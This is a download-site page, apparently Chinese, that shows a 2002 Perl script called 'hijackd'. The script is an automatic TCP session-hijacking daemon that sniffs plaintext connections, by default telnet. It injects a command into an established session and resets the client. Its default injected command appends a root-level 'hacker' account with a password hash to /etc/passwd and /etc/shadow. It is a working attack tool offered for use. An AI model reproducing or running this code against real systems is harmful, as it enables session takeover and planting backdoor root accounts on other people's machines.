⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hijackd.pl

📁 一个rst守护程序
💻 PL
字号:
#!/usr/bin/perl## Hijackd - Automatic Hijacking Daemon for plain protocols# Version 0.2## Programmed by Bastian Ballmann [ bytebeater@crazydj.de ]# http://www.crazydj.de## Last Update: 28.11.2002###[ Loading modules ]###use path::hijack;    # Hijacking Stuffuse path::config;    # Configuration Stuffuse Getopt::Std;     # Parsing parameteruse Net::PcapUtils;  # Packet capturing# Are you r00t?if($> != 0){    die "You need EUID 0!\n";}# Need help?if($ARGV[0] eq "--help"){    die "Usage: $0 -h [host(s)] -p [port(s)] -c <connection> -i <device> -s <infiltrade-string>\n\n";}# Starte die GUI versionif($ARGV[0] eq "--gui"){    require "hijackd-gui.pl";}else{# Parsing parametergetopts('h:c:p:i:',\%args);&start(%args);}###[ Subroutines ]#### Start the hijackdsub start{# Achtung a bissel Werbungabout();# Create config object$cfg = config->new();$cfg->check(%args);# Wurde kein String zum infiltrieren angegeben?if($args{'s'} eq ""){    # Dann versuche den User hacker mit Passwort hacker anzulegen    $args{'s'} = "echo 'hacker:x:0:0::/:/bin/sh' >> /etc/passwd && echo 'hacker:\$1\$u70t2mzi\$v8VeFsr3uFwbl772vjb/a0:12019:0:99999:7:::' >> /etc/shadow\n";}# Wurde kein Port angegeben?# Dann wird per default 23 verwendetif($args{p} eq ""){    print "You have not specified a port. I will use 23 per default...\n";    $cfg->set_port(23);}# Man bastelt sich ne pcap expression$pcap = $cfg->pcap();if($pcap ne ""){    $pcap .= "and tcp";}else{    $pcap = "tcp";}print "Start sniffin $pcap on " . $cfg->get_device . "\n\n";# Start sniffinNet::PcapUtils::loop(\&check,		     PROMISC => 1,		     FILTER => $pcap,		     DEV => $cfg->get_device);}# Check if the connection should be hijackedsub check{    my($arg,$header,$packet) = @_;    my $flag = 0;# Existiert schon ein connection objekt?    unless(defined $connection)    {	$connection = hijack->new($packet);    }# Wurde die Connection schon gehijackt?# Dann lass sie in Ruhe...    if($connection->hijacked($packet)) { return; }# Gehoert das Paket zu "unserer" Verbindung?    unless($connection->check($packet)) { return; }# Hat der TCP Handshake schon statt gefunden?    if($connection->is_established)    {		if($cfg->multiport)	{	    # Interessiert uns der Source Port?	    for(@{$cfg->get_ports})	    {		hijack($packet,$_)	    }	}	else	{	    hijack($packet,$cfg->get_port);	}    }}# Hijacke die Verbindungsub hijack{    my $packet = shift;    my $port = shift;    # Kommt das Paket vom Server?    if($connection->check_port($packet,$port,0))    {	# Dem Modul bekannt geben, dass dieses Paket vom Server kommt	$connection->stateful($packet,"server");		# Ist die Client Sequence und Acknowledgement Nummer schon bekannt?	if($connection->server_seq)	{	    # Hijacke die Verbindung!	    $connection->infiltrate($args{'s'});	    $connection->is_hijacked($packet);	    	    # Resette die Verbindug des Clients, um einen ACK Storm zu vermeiden	    $connection->reset('rst','client');	}    }    # Das Packet kommt vom Client    elsif($connection->check_port($packet,0,$port))    {	$connection->stateful($packet,"client");    }}# About this toolsub about{    print "Hijackd -- Automatic hijacking daemon for plain protocols\n";    print "Version 0.2\n";    print "Programmed by Bastian Ballmann [ bytebeater\@crazydj.de ]\n\n";}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -